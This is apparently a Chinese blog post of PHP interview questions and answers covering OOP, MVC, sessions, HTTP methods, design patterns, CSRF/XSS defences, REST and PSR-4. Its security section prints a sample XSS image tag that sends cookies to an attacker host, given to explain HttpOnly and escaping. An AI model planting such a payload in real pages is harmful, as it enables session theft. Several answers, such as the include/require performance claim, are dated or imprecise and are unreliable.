2022年3月3日 星期四

《面試官別再問》PHP面試考題參考

1. PHP abstract 與interface 的區別與用法 

抽象類需要繼承,用extends,而介面需要實現,用implements;

一個類可以實現多個介面,但只能繼承一個抽象類

介面中每個方法都只有聲明而沒有實現,其中的每個方法實現類必須要實現;而抽象類中只需要實現抽象方法,其它方法可以選擇性的實現;

介面中只能聲明public的方法,不能聲明private和protected的方法,不能對方法進行實現,也不能聲明實例變量;但是抽象類中可以


2.PHP Traits

跟Java一樣,PHP不允許多重繼承,這樣可以減少物件組織的複雜性,也比較容易避開一些相依問題。

但是在許多狀況下,我們可能只是需要一些特定的功能,這些功能幾乎沒有相依性,用繼承來取得太複雜

這時候通常的作法是把它做成獨立的類別,然後在需要使用的地方把物件當做property來使用(composition)。

但是在實際上需要作為物件的方法才方便使用時,就不適合這樣做了。

使用Traits,可以在需要某些「特定」的特性與功能時,才引用特定的Traits,這樣很直接方便。


3. 何謂 MVC 架構?

MVC模式(Model-View-Controller)是軟體工程中的一種軟體架構模式。

MVC把軟體系統分為三個基本部分:模型(Model)、視圖(View)和控制器(Controller)。

MVC的目的是實現一種動態的程序設計,便於後續對程序的修改和擴展簡化,並且使程序某一部分的重複利用成為可能。

除此之外,此模式通過對複雜度的簡化,使程序結構更加直覺。


4. Session 和 Cookie 有何不同?

許多情況需要保留一些通用訊息,譬如登入帳號、密碼、IP 位址、計數器等等。而且訊息大多以文字格式存取。

以確保不同網頁之間可以共同存取。但這些訊息要存在甚麼地方呢?如儲存於瀏覽器(客戶端硬碟)則稱為『Cookie』,

Cookie 變數存活時間大多是宣告時設定,超過時間或刻意刪除才會被消除。Session 變數大多依照『會議連線』(Session)存活時間而定。

當產生一條 Session 連線時,伺服器會給予一個 Session ID (識別碼),之間也許會有多個不同網頁的存取

所產生的 Session 變數也都共同使用,當 Session 連線結束時,所有該 Session ID 下的變數也隨之被刪除。


5. GET/POST 的差異?

Web瀏覽器通常使用兩種HTTP(超文本傳輸協議)方法(GET和POST)之一與服務器通信。兩種方法都以不同方式傳遞信息,並且具有不同的優點和缺點,如下所述。

在GET方法中,數據作為URL參數發送,通常是由“&”號分隔的名稱和值對字符串&。通常,帶有GET數據的URL如下所示:

由於GET方法發送的數據顯示在URL中,因此可以使用特定的查詢字符串值對頁面添加書籤。

GET方法不適用於傳遞敏感信息,例如用戶名和密碼,因為這些信息在URL查詢字符串中完全可見,並且有可能作為訪問頁面存儲在客戶端瀏覽器的內存中。

因為GET方法將數據分配給服務器環境變量,所以URL的長度受到限制。因此,要發送的總數據存在限制。

在POST方法中,數據與處理腳本在單獨的通信中作為包發送到服務器。通過POST方法發送的數據在URL中不可見。

它比GET更安全,因為用戶輸入的信息永遠不會在URL查詢字符串或服務器日誌中可見。

可傳遞的數據量有更大的限制,並且可以使用POST發送文本數據以及二進制數據(上傳文件)。

由於POST方法發送的數據在URL中不可見,因此無法使用特定查詢為頁面添加書籤。


6.何謂「傳值呼叫 (Call By Value)」與「傳址呼叫 (Call By Reference)」,請解釋兩者的差異?

參數使用變數名稱與程式使用名稱雖然相同,但是會被視爲不同的資料,不會互相影響,這種做法叫做 Call By Value。

另外一種是無論在程式的任何地方使用到該變數,會將該變數在記憶體中的 address 傳給程式使用,所以使用變數的地方都會指向同一塊記憶體。


7. include 和 require 之間的差異

require()語句的性能與include()相類似,都是包括並運行指定文件。不同之處在於:對include()語句來說,在執行文件時每次都要進行讀取和評估;

而對於require()來說,文件只處理一次(實際上,文件內容替換require()語句)。這就意味著如果可能執行多次的代碼,則使用require()效率比較高。

另外一方面,如果每次執行代碼時是讀取不同的文件,或者有通過一組文件疊代的循環,就使用include()語句。

PHP系統在加載PHP程序時有一個偽編譯過程,可使程序運行速度加快。但incluce的文檔仍為解釋執行。

include的文件中出錯了,主程序繼續往下執行,require的文件出錯了,主程序也停了,所以包含的文件出錯對系統影響不大的話(如界面文件)就用include,否則用require。



8. 了解設計模式嗎?

工廠模式具體可分為三類模式:簡單工廠模式,工廠方法模式,抽象工廠模式;

簡單工廠模式

又稱為靜態工廠方法(Static Factory Method)模式,它屬於類創建型模式。在簡單工廠模式中,可以根據參數的不同返回不同類的實例。簡單工廠模式專門定義一個類來負責創建其他類的實例,被創建的實例通常都具有共同的父類。

角色:

Factory類:負責創建具體產品的實例

Product類:抽象產品類,定義產品子類的公共介面

ConcreteProduct 類:具體產品類,實現Product父類的介面功能,也可添加自定義的功能


工廠方法模式

此模式中,通過定義一個抽象的核心工廠類,並定義創建產品對象的介面,創建具體產品實例的工作延遲到其工廠子類去完成。這樣做的好處是核心類只關註工廠類的介面定義,而具體的產品實例交給具體的工廠子類去創建。當系統需要新增一個產品是,無需修改現有系統代碼,只需要添加一個具體產品類和其對應的工廠子類,是系統的擴展性變得很好,符合面向對象編程的開閉原則;

角色:

Product:抽象產品類

ConcreteProduct:具體產品類

Factory:抽象工廠類

ConcreteFactory:具體工廠類


抽象工廠模式

提供一個創建一系列相關或相互依賴對象的介面,而無須指定它們具體的類。抽象工廠模式又稱為Kit模式,屬於對象創建型模式。

此模式是對工廠方法模式的進一步擴展。在工廠方法模式中,一個具體的工廠負責生產一類具體的產品,即一對一的關係,但是,如果需要一個具體的工廠生產多種產品對象,那麼就需要用到抽象工廠模式了。

為了便於理解此模式,這裡介紹兩個概念:

產品等級結構:產品等級結構即產品的繼承結構,如一個抽象類是電視機,其子類有海爾電視機、海信電視機、TCL電視機,則抽象電視機與具體品牌的電視機之間構成了一個產品等級結構,抽象電視機是父類,而具體品牌的電視機是其子類。

產品族 :在抽象工廠模式中,產品族是指由同一個工廠生產的,位於不同產品等級結構中的一組產品,如海爾電器工廠生產的海爾電視機、海爾電冰箱,海爾電視機位於電視機產品等級結構中,海爾電冰箱位於電冰箱產品等級結構中。

角色:

抽象工廠(AbstractFactory):擔任這個角色的是抽象工廠模式的核心,是與應用系統的商業邏輯無關的。

具體工廠(Factory):這個角色直接在客戶端的調用下創建產品的實例,這個角色含有選擇合適的產品對象的邏輯,而這個邏輯是與應用系統商業邏輯緊密相關的。

抽象產品(AbstractProduct):擔任這個角色的類是抽象工廠模式所創建的對象的父類,或它們共同擁有的介面

具體產品(Product):抽象工廠模式所創建的任何產品對象都是一個具體的產品類的實例。


9. 什麼是CSRF攻擊,XSS攻擊?如何防範

CSRF全名為 Cross Site Request Forgery( 跨站請求偽造)。

現在的網站大多是用cookie/session的方式來做登入驗證,我們都知道只要user登入成功後,server會在response header 夾帶 session id給瀏覽器,設定在cookie中,之後每次的request都會自動在request header中帶上這個cookie,server只認session id,因此user不用重複登入。

如之前提到的,利用XSS搭配js的document.cookie語法,把cookie傳到駭客的server,類似這樣:<img src="http://hack.com/hack.php?msg=document.cookie"/>

這就是一種做法。

駭客再把cookie帶在header中送request到你的網站來做攻擊。

所以session id的cookie要記得設定HttpOnly,讓駭客無法透過javascript(document.cookie)拿到session id。

駭客可以透過XSS在你這個網站植入一個惡意連結,甚至是看不到的隱藏圖片,一旦你誤擊這個惡意連結,就會連到駭客的網站,駭客網站透過瀏覽器發出request到你這個網站,假如你沒有登出,加上網站防禦機制沒有處理好,就有可能被攻擊成功。


預防 CSRF 另一種方法,是在 form 裡面加上一個隱藏的欄位,資料 submit 時同時送出這個欄位的 token,

這個 token 的值由 server 隨機產生,並存在 server 的 session 中。

按下 submit 之後,server 比對表單中的 token與自己 session 裡面存的是不是一樣,

是的話就代表這的確是,由使用者本人發出的 request。

由於 token 是由 server 產生,並且每一段不同的 session 就更換一次。

攻擊者並不知道 token 值是什麼,也猜不出來,自然就無法進行攻擊了。

要留意的是,如果 server 支持,跨來源(cross origin)的 request,

攻擊者就可以在他的頁面發起一個 request,順利拿到這個 csrf token 並進行攻擊,

但前提是 server 接受這個 domain 的 request。


XSS又稱CSS,全稱Cross SiteScript(跨站腳本攻擊), XSS攻擊類似於SQL注入攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie信息、破壞頁面結構、重定向到其它網站等。

理論上,只要存在能提供輸入的表單並且沒做安全過濾或過濾不徹底,都有可能存在XSS漏洞。

PHP防止XSS跨站脚本攻击的方法:是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数 。

在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string) 的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号(“), 不对单引号(‘)做转义.

所以,htmlspecialchars函数更多的时候要加上第二个参数, 应该这样用: htmlspecialchars($string,ENT_QUOTES).当然,如果需要不转化如何的引号,用htmlspecialchars($string,ENT_NOQUOTES).

另外, 尽量少用htmlentities, 在全部英文的时候htmlentities和htmlspecialchars没有区别,都可以达到目的.但是,中文情况下, htmlentities却会转化所有的html代码,连同里面的它无法识别的中文字符也给转化了。


10. 什麼是RESTful

REST,全名 Representational State Transfer( 表現層狀態轉移),它是一種設計模式,RESTful 只是從名詞轉為形容詞,像是 peace 轉成形容詞是 peaceful。RESTful 則形容以此規範設計的 API,稱為 RESTful API。換言之,符合 REST 規範的 API,就被稱為 RESTful API


11. 如果實現自動加載?不用composer如何實現?PSR-4是什麼?

PSR-4 Autoloader 規範描述了如何架構專案的目錄結構及如何使用命名空間,遵循這個規範並搭配 Composer 提供的 autoload 就可以完成自動載入的動作。要使用 PSR-4 Autoloader 必須使用正確的命名空間。

完全符合規則的命名空間要符合以下格式(class 代表 classes, interfaces, traits)

  \<命名空間>(\<子命名空間>)*\<類別名稱>

完整的 class 名稱必須有最高層級的 namespace,像是大家熟知的 "vendor"

完整的 class 名稱可以有一或多個子命名空間

完整的 class 名稱最後必須要有一個 class

完整的 class 名稱內底線不具有任何特殊含意

完整的 class 名稱內大小寫字母可以任意組合

所有的 class 名稱必須大小寫敏感

沒有留言:

張貼留言